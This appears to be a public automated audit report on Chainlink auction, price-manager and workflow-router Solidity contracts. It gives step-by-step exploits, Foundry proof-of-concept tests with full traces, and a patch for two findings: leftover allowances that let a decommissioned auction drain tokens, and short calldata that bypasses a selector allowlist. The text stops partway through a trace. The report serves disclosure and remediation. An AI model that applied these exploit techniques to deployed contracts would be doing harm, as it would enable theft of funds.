# Table of Contents - [V12 - C4-2026-03-chainlink](#v12-c4-2026-03-chainlink) - [Login | V12](#login-v12) - [Terms of Service | V12](#terms-of-service-v12) - [Privacy Policy | V12](#privacy-policy-v12) --- # V12 - C4-2026-03-chainlink C4-2026-03-chainlink ==================== Table of Contents ================= [Executive Summary](https://v12.sh/runs/1378/public#executive-summary) ======================================================================= V12 identified five findings. One critical issue was found. Four were of low severity. By Severity Critical1 (20%) Low4 (80%) Issue Categories Acknowledged Trust Assumptions (3) Top Affected Contracts BaseAuction 6 PriceManager 1 AuctionBidder 1 WorkflowRouter 1 [Scope](https://v12.sh/runs/1378/public#scope) =============================================== Source[code-423n4/2026-03-chainlink](https://github.com/code-423n4/2026-03-chainlink) Commit`163a5b1`(main) FilesLoC src 2091 AuctionBidder.sol 166 BaseAuction.sol 784 Caller.sol 50 GPV2CompatibleAuction.sol 215 PriceManager.sol 434 WorkflowRouter.sol 333 interfaces 109 IAuctionCallback.sol 14 IBaseAuction.sol 53 IGPV2CompatibleAuction.sol 10 IGPV2Settlement.sol 19 IPriceManager.sol 13 [Detailed Findings](https://v12.sh/runs/1378/public#detailed-findings) ======================================================================= Critical risk F-4 [Old auction approvals persist after rotation](https://v12.sh/runs/1378/public#finding-4) ------------------------------------------------------------------------------------------ The `auctionCallback` function grants an ERC20 allowance to `msg.sender`, which is assumed to be the current `s_auction`, by calling `forceApprove` for `amountOut`. That approval is stored in the token contract and persists until it is spent or explicitly revoked. When the admin updates the auction via `setAuction`, the contract only overwrites `s_auction` and does not clear any allowances previously given to the old auction. If the old auction leaves any allowance unused (for example, it pulls later or a transfer fails), it retains the ability to call `transferFrom` even after it is no longer the active auction. This breaks the expected lifecycle where only the current auction can move funds and lets a decommissioned auction drain balances of `assetOut` held by the bidder contract. ### Impact A compromised or decommissioned auction contract can pull `assetOut` tokens from the bidder contract after it has been replaced, diverting proceeds from new auctions or admin‑held balances. The amount at risk is bounded by outstanding allowances but can accumulate across multiple bids and cover any later inflows of the same token. ### Proof of Concept 1. Attacker controls (or later compromises) an initially valid auction contract and ensures it is set as the current auction for the bidder contract. 2. As the current auction, the attacker calls `auctionCallback` so the bidder contract grants an ERC20 allowance to `msg.sender` for `assetOut`, leaving some or all of that allowance unspent. 3. Victim/admin rotates to a new auction by calling `setAuction`, which updates `s_auction` but does not revoke the old auction’s existing ERC20 allowance. 4. After rotation, `assetOut` tokens are transferred into the bidder contract (e.g., from new auction proceeds or other inbound funding). 5. Using the still-valid leftover allowance, the old auction calls the token’s `transferFrom` to pull `assetOut` from the bidder contract into the old auction address, demonstrating that a decommissioned auction can drain funds. solidity `// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {AuctionBidder} from "src/AuctionBidder.sol"; import {IBaseAuction} from "src/interfaces/IBaseAuction.sol"; import {Caller} from "src/Caller.sol"; import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import {MockERC20} from "test/mocks/MockERC20.sol"; contract MockAuction is IBaseAuction, IERC165 { address private immutable i_assetOut; constructor(address assetOut) { i_assetOut = assetOut; } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { return interfaceId == type(IBaseAuction).interfaceId || interfaceId == type(IERC165).interfaceId; } function checkUpkeep(bytes calldata) external pure returns (bool upkeepNeeded, bytes memory performData) { return (false, performData); } function performUpkeep(bytes calldata) external {} function bid(address, uint256, bytes calldata) external {} function getAssetOut() external view returns (address assetOut) { return i_assetOut; } function getAssetOutAmount(address, uint256, uint256) external pure returns (uint256 assetOutAmount) { return assetOutAmount; } } contract DummyTarget { function ping() external {} } contract InjectedTest is Test { function test_oldAuctionAllowancePersistsAfterRotation() external { address owner = makeAddr("owner"); MockERC20 assetOut = new MockERC20("AssetOut", "AO", 18); MockAuction oldAuction = new MockAuction(address(assetOut)); AuctionBidder bidder = new AuctionBidder(0, owner, address(oldAuction), address(0)); DummyTarget dummy = new DummyTarget(); Caller.Call[] memory calls = new Caller.Call[](1); calls[0] = Caller.Call({target: address(dummy), data: abi.encodeWithSelector(DummyTarget.ping.selector)}); // Old auction is current auction and gets an approval via the callback. vm.prank(address(oldAuction)); bidder.auctionCallback(address(bidder), address(assetOut), 100e18, abi.encode(calls)); // Admin rotates to a new auction contract. MockAuction newAuction = new MockAuction(address(assetOut)); vm.prank(owner); bidder.setAuction(address(newAuction)); // New funds arrive after the rotation. deal(address(assetOut), address(bidder), 100e18); // Old auction can still pull funds using the leftover approval. vm.prank(address(oldAuction)); assetOut.transferFrom(address(bidder), address(oldAuction), 100e18); // Invariant: decommissioned auctions should not be able to move funds. assertEq(assetOut.balanceOf(address(bidder)), 100e18, "old auction drained funds"); } }` #### Output foundry ``No files changed, compilation skipped Ran 1 test for test/injected/Injected.t.sol:InjectedTest [FAIL: old auction drained funds: 0 != 100000000000000000000] test_oldAuctionAllowancePersistsAfterRotation() (gas: 3197924) Traces: [3197924] InjectedTest::test_oldAuctionAllowancePersistsAfterRotation() ├─ [0] VM::addr() [staticcall] │ └─ ← [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266] ├─ [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner") │ └─ ← [Return] ├─ [420818] → new MockERC20@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← [Return] 1871 bytes of code ├─ [168636] → new MockAuction@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ └─ ← [Return] 841 bytes of code ├─ [1977775] → new AuctionBidder@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], sender: InjectedTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) │ ├─ [389] MockAuction::supportsInterface(0xe074da5c) [staticcall] │ │ └─ ← [Return] true │ ├─ emit AuctionContractSet(auction: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] 9163 bytes of code ├─ [12066] → new DummyTarget@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 │ └─ ← [Return] 60 bytes of code ├─ [0] VM::prank(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] ├─ [29330] AuctionBidder::auctionCallback(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e20], 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000005991a2df15a8f6a256d3ec51e99254cd3fb576a9000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000045c36b18600000000000000000000000000000000000000000000000000000000) │ ├─ [98] DummyTarget::ping() │ │ └─ ← [Stop] │ ├─ [24739] MockERC20::approve(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 100000000000000000000 [1e20]) │ │ ├─ emit Approval(owner: AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], spender: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 100000000000000000000 [1e20]) │ │ └─ ← [Return] true │ └─ ← [Stop] ├─ [168636] → new MockAuction@0xc7183455a4C133Ae270771860664b6B7ec320bB1 │ └─ ← [Return] 841 bytes of code ├─ [0] VM::prank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]) │ └─ ← [Return] ├─ [3120] AuctionBidder::setAuction(MockAuction: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) │ ├─ [389] MockAuction::supportsInterface(0xe074da5c) [staticcall] │ │ └─ ← [Return] true │ ├─ emit AuctionContractSet(auction: MockAuction: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) │ └─ ← [Stop] ├─ [2540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::record() │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::accesses(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall] │ └─ ← [Return] [0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4], [] ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ emit WARNING_UninitedSlot(who: MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], slot: 80968072468595249569429572020660537964889912396784024266971625447429208732132 [8.096e76]) ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77] ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0x0000000000000000000000000000000000000000000000000000000000000000) │ └─ ← [Return] ├─ emit SlotFound(who: MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], fsig: 0x70a08231, keysHash: 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, slot: 80968072468595249569429572020660537964889912396784024266971625447429208732132 [8.096e76]) ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0x0000000000000000000000000000000000000000000000056bc75e2d63100000) │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 100000000000000000000 [1e20] ├─ [0] VM::prank(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] ├─ [26066] MockERC20::transferFrom(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 100000000000000000000 [1e20]) │ ├─ emit Transfer(from: AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 100000000000000000000 [1e20]) │ └─ ← [Return] true ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::assertEq(0, 100000000000000000000 [1e20], "old auction drained funds") [staticcall] │ └─ ← [Revert] old auction drained funds: 0 != 100000000000000000000 └─ ← [Revert] old auction drained funds: 0 != 100000000000000000000 Backtrace: at VM.assertEq at InjectedTest.test_oldAuctionAllowancePersistsAfterRotation Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.15ms (1.49ms CPU time) Ran 1 test suite in 26.94ms (2.15ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/injected/Injected.t.sol:InjectedTest [FAIL: old auction drained funds: 0 != 100000000000000000000] test_oldAuctionAllowancePersistsAfterRotation() (gas: 3197924) Encountered a total of 1 failing tests, 0 tests succeeded Tip: Run `forge test --rerun` to retry only the 1 failed test`` ### Remediation Revoke the old auction’s allowance by calling `forceApprove` with zero on its `assetOut` token before updating `s_auction`, so decommissioned auctions cannot retain ERC20 approvals after rotation. patchsrc/AuctionBidder.sol | | | | | --- | --- | --- | | 160 | 160 | revert Errors.ValueNotUpdated(); | | 161 | 161 | } | | 162 | 162 | | | | 163 | IBaseAuction previousAuction = s\_auction; | | | 164 | if (address(previousAuction) != address(0)) { | | | 165 | address previousAssetOut = previousAuction.getAssetOut(); | | | 166 | IERC20(previousAssetOut).forceApprove(address(previousAuction), 0); | | | 167 | } | | | 168 | | | 163 | 169 | s\_auction = IBaseAuction(auction); | | 164 | 170 | | | 165 | 171 | emit AuctionContractSet(auction); | #### Validation foundry ``No files changed, compilation skipped Ran 1 test for test/injected/Injected.t.sol:InjectedTest [FAIL: ERC20InsufficientAllowance(0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0, 100000000000000000000 [1e20])] test_oldAuctionAllowancePersistsAfterRotation() (gas: 3204973) Traces: [3204973] InjectedTest::test_oldAuctionAllowancePersistsAfterRotation() ├─ [0] VM::addr() [staticcall] │ └─ ← [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266] ├─ [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner") │ └─ ← [Return] ├─ [420818] → new MockERC20@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← [Return] 1871 bytes of code ├─ [168636] → new MockAuction@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ └─ ← [Return] 841 bytes of code ├─ [2006747] → new AuctionBidder@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], sender: InjectedTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) │ ├─ [389] MockAuction::supportsInterface(0xe074da5c) [staticcall] │ │ └─ ← [Return] true │ ├─ emit AuctionContractSet(auction: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] 9307 bytes of code ├─ [12066] → new DummyTarget@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 │ └─ ← [Return] 60 bytes of code ├─ [0] VM::prank(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] ├─ [29330] AuctionBidder::auctionCallback(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e20], 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000005991a2df15a8f6a256d3ec51e99254cd3fb576a9000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000045c36b18600000000000000000000000000000000000000000000000000000000) │ ├─ [98] DummyTarget::ping() │ │ └─ ← [Stop] │ ├─ [24739] MockERC20::approve(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 100000000000000000000 [1e20]) │ │ ├─ emit Approval(owner: AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], spender: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 100000000000000000000 [1e20]) │ │ └─ ← [Return] true │ └─ ← [Stop] ├─ [168636] → new MockAuction@0xc7183455a4C133Ae270771860664b6B7ec320bB1 │ └─ ← [Return] 841 bytes of code ├─ [0] VM::prank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]) │ └─ ← [Return] ├─ [7934] AuctionBidder::setAuction(MockAuction: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) │ ├─ [389] MockAuction::supportsInterface(0xe074da5c) [staticcall] │ │ └─ ← [Return] true │ ├─ [218] MockAuction::getAssetOut() [staticcall] │ │ └─ ← [Return] MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f] │ ├─ [2739] MockERC20::approve(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0) │ │ ├─ emit Approval(owner: AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], spender: MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 0) │ │ └─ ← [Return] true │ ├─ emit AuctionContractSet(auction: MockAuction: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) │ └─ ← [Stop] ├─ [2540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::record() │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::accesses(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall] │ └─ ← [Return] [0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4], [] ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ emit WARNING_UninitedSlot(who: MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], slot: 80968072468595249569429572020660537964889912396784024266971625447429208732132 [8.096e76]) ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 0 ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77] ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0x0000000000000000000000000000000000000000000000000000000000000000) │ └─ ← [Return] ├─ emit SlotFound(who: MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], fsig: 0x70a08231, keysHash: 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, slot: 80968072468595249569429572020660537964889912396784024266971625447429208732132 [8.096e76]) ├─ [0] VM::load(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4) [staticcall] │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000 ├─ [0] VM::store(MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4, 0x0000000000000000000000000000000000000000000000056bc75e2d63100000) │ └─ ← [Return] ├─ [540] MockERC20::balanceOf(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← [Return] 100000000000000000000 [1e20] ├─ [0] VM::prank(MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) │ └─ ← [Return] ├─ [963] MockERC20::transferFrom(AuctionBidder: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockAuction: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 100000000000000000000 [1e20]) │ └─ ← [Revert] ERC20InsufficientAllowance(0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0, 100000000000000000000 [1e20]) └─ ← [Revert] ERC20InsufficientAllowance(0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0, 100000000000000000000 [1e20]) Backtrace: at MockERC20.transferFrom at InjectedTest.test_oldAuctionAllowancePersistsAfterRotation Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.03ms (1.51ms CPU time) Ran 1 test suite in 27.15ms (2.03ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/injected/Injected.t.sol:InjectedTest [FAIL: ERC20InsufficientAllowance(0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0, 100000000000000000000 [1e20])] test_oldAuctionAllowancePersistsAfterRotation() (gas: 3204973) Encountered a total of 1 failing tests, 0 tests succeeded Tip: Run `forge test --rerun` to retry only the 1 failed test`` Low risk F-1 [Live auctions use mutable `assetOut`](https://v12.sh/runs/1378/public#finding-1) ---------------------------------------------------------------------------------- Auctions rely on a single global `s_assetOut` value that is read at `bid` execution time, while the per-auction state tracked in `s_auctionStarts` does not snapshot which output asset was intended when the auction started. As a result, changing `s_assetOut` during an active auction changes the settlement asset for all subsequent bids in that same auction. Because the auction’s pricing and intent were established under the previous output asset, this creates a cross-function mismatch between auction creation assumptions and bid settlement behavior. If `s_assetOut` is switched to a cheaper token (or to the auctioned asset itself), bidders can satisfy bids with an unintended asset basis. Correctness requires either freezing `s_assetOut` while any auction is live or storing the output asset per auction and using that snapshot for settlement. ### Impact Bidders can settle bids in a different output token than the auction was designed to accept, effectively underpaying relative to the auction’s intended pricing basis. This can lead to loss of value from the auction inventory, especially if the output asset is changed to a cheaper token or one that breaks the intended conversion path. Low risk F-2 [Removing asset params orphans live auctions](https://v12.sh/runs/1378/public#finding-2) ----------------------------------------------------------------------------------------- Live auctions are tracked via `s_auctionStarts[asset]`, but the keeper flow and bid logic depend on `s_assetParams[asset]` being present (notably `decimals` and `auctionDuration`). `applyAssetParamsUpdates` can remove an asset’s params (zeroing `decimals` and other fields) without checking for or cleaning up an active `s_auctionStarts` entry. After removal, `checkUpkeep` skips the asset when it sees `decimals == 0`, so ended auctions are never surfaced to `performUpkeep` and `_onAuctionEnd` is never called, leaving `s_auctionStarts` stuck. In parallel, `bid` may start reverting because the now-zeroed `auctionDuration` makes the auction appear immediately expired after time advances. If the removed params are for `s_assetOut`, the `whenAssetOutConfigured` gate can revert `performUpkeep` entirely, freezing keeper operations and preventing auctions from starting/ending. Fixing requires preventing param deletion during a live auction and/or ensuring lifecycle cleanup remains reachable even if params are removed. ### Impact Auctioned balances can become stuck because bids revert and the keeper cannot detect or end the auction, leaving `s_auctionStarts` lingering indefinitely. If configuration removal affects `s_assetOut`, keeper execution can be blocked broadly, freezing starts/ends until an admin repairs configuration, and a compromised or mistaken asset-admin can halt auction operations for affected assets. Low risk F-3 [Expired reports accepted as valid prices](https://v12.sh/runs/1378/public#finding-3) -------------------------------------------------------------------------------------- The `ReportV3` struct includes `validFromTimestamp` and `expiresAt` fields that define the report’s validity window, but `transmit` ignores both and only checks `observationsTimestamp` against the configurable `stalenessThreshold`. As a result, an already expired report can still be stored in `s_dataStreamsPrice` as long as its observation time is within the staleness window. `_getAssetPrice` then treats that stored timestamp as authoritative and can return `isValid = true`, so dependent contracts accept the stale price as current. This creates a gap between the oracle’s intended validity window and what the contract enforces. A compromised or malfunctioning price updater can keep outdated prices active long after the report has expired, enabling stale‑price exploitation in downstream protocols. ### Impact An operator can submit expired reports that the contract still marks as valid, keeping stale prices in circulation. Downstream contracts that rely on `getAssetPrice` can be manipulated using outdated prices, potentially enabling under‑collateralization or unfair trades until the staleness window closes. Low risk F-5 [Short calldata bypasses selector allowlist](https://v12.sh/runs/1378/public#finding-5) ---------------------------------------------------------------------------------------- The selector allowlist assumes that the forwarded calldata is at least four bytes, but `onReport` never enforces this. It reads the selector with `mload(add(data, 32))`, which zero‑pads any missing bytes when `data.length < 4`. If an allowed selector ends with one or more zero bytes, a forwarder can supply only the prefix bytes so the zero‑padded selector passes the allowlist check. The router then calls the target with the original short calldata, which triggers the target’s `fallback`/`receive` path rather than the intended function. This creates a bypass where non‑allowlisted fallback logic becomes callable through a workflow that was meant to be selector‑restricted. ### Impact A forwarder can invoke a target’s fallback/receive logic even when only specific selectors were allowlisted. This undermines the selector-based restriction and can expose unintended code paths on allowlisted targets, especially if their fallback functions perform privileged or generic routing behavior. ### Proof of Concept 1. Deploy a target contract whose `fallback`/`receive` path performs observable behavior, and note an allowlisted selector that ends with one or more zero bytes (e.g., `0x12345600`). 2. As the router owner/admin, configure the selector allowlist so the workflow permits calling the target only via the zero-ending selector (e.g., allow `0x12345600` for that target). 3. As the forwarder/attacker, craft a report that forwards short calldata shorter than 4 bytes that matches only the non-zero prefix of the allowlisted selector (e.g., send `0x123456` so `mload(add(data, 32))` zero-pads it to `0x12345600` during selector extraction). 4. Call `WorkflowRouter.onReport` with metadata pointing to the allowlisted workflow and with the report containing the target address plus the short calldata. 5. Observe that the router accepts the call as allowlisted, but the target executes its `fallback`/`receive` logic (not the intended function selector path), demonstrating selector-based restriction bypass. solidity `// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {WorkflowRouter} from "src/WorkflowRouter.sol"; import {BaseUnitTest} from "test/unit/BaseUnitTest.t.sol"; contract SelectorBypassTarget { bool public allowedCalled; bool public fallbackCalled; bytes4 public constant ALLOWLISTED_SELECTOR = 0x12345600; fallback() external payable { if (msg.sig == ALLOWLISTED_SELECTOR && msg.data.length == 4) { allowedCalled = true; } else { fallbackCalled = true; } } } contract ShortCalldataBypassTest is BaseUnitTest { bytes32 private constant WORKFLOW_ID = keccak256("shortCalldataWorkflow"); bytes4 private constant ALLOWLISTED_SELECTOR = 0x12345600; SelectorBypassTarget private s_target; function setUp() external { s_target = new SelectorBypassTarget(); WorkflowRouter.AllowlistedWorkflow[] memory adds = new WorkflowRouter.AllowlistedWorkflow[](1); adds[0].workflowId = WORKFLOW_ID; adds[0].targetSelectors = new WorkflowRouter.TargetSelectors[](1); adds[0].targetSelectors[0].target = address(s_target); adds[0].targetSelectors[0].selectors = new bytes4[](1); adds[0].targetSelectors[0].selectors[0] = ALLOWLISTED_SELECTOR; _changePrank(i_owner); s_workflowRouter.applyAllowlistedWorkflowsUpdates(new bytes32[](0), adds); } function test_ShortCalldataBypassesSelectorAllowlist() external { bytes memory shortCalldata = hex"123456"; // 3 bytes, zero-padded to 0x12345600 in selector extraction bytes4 derivedSelector; assembly { derivedSelector := mload(add(shortCalldata, 32)) } assertEq(derivedSelector, ALLOWLISTED_SELECTOR, "selector is zero-padded"); bytes memory metadata = abi.encodePacked(WORKFLOW_ID, bytes10(0), bytes20(0)); bytes memory report = abi.encode(address(s_target), shortCalldata); _changePrank(i_forwarder); s_workflowRouter.onReport(metadata, report); assertTrue(s_target.fallbackCalled(), "fallback should be reachable via short calldata"); assertFalse(s_target.allowedCalled(), "allowlisted path is bypassed"); } }` #### Output foundry `Compiling 90 files with Solc 0.8.26 Solc 0.8.26 finished in 4.85s Compiler run successful with warnings: Warning (3628): This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function. --> test/injected/Injected.t.sol:7:1: | 7 | contract SelectorBypassTarget { | ^ (Relevant source part starts here and spans across multiple lines). Note: The payable fallback function is defined here. --> test/injected/Injected.t.sol:13:3: | 13 | fallback() external payable { | ^ (Relevant source part starts here and spans across multiple lines). error: file @openzeppelin/contracts@5.0.2/utils/introspection/IERC165.sol not found --> node_modules/.pnpm/@chainlink+contracts@1.5.0_ethers@5.8.0/node_modules/@chainlink/contracts/src/v0.8/keystone/interfaces/IReceiver.sol:4:23 | 4 | import {IERC165} from "@openzeppelin/contracts@5.0.2/utils/introspection/IERC165.sol"; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ error: file @openzeppelin/contracts@4.8.3/interfaces/IERC165.sol not found --> node_modules/.pnpm/@chainlink+contracts@1.5.0_ethers@5.8.0/node_modules/@chainlink/contracts/src/v0.8/llo-feeds/v0.5.0/interfaces/IVerifierFeeManager.sol:5:23 | 5 | import {IERC165} from "@openzeppelin/contracts@4.8.3/interfaces/IERC165.sol"; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ran 2 tests for test/injected/Injected.t.sol:ShortCalldataBypassTest [PASS] test_ShortCalldataBypassesSelectorAllowlist() (gas: 49890) Traces: [49890] ShortCalldataBypassTest::test_ShortCalldataBypassesSelectorAllowlist() ├─ [0] VM::stopPrank() │ └─ ← 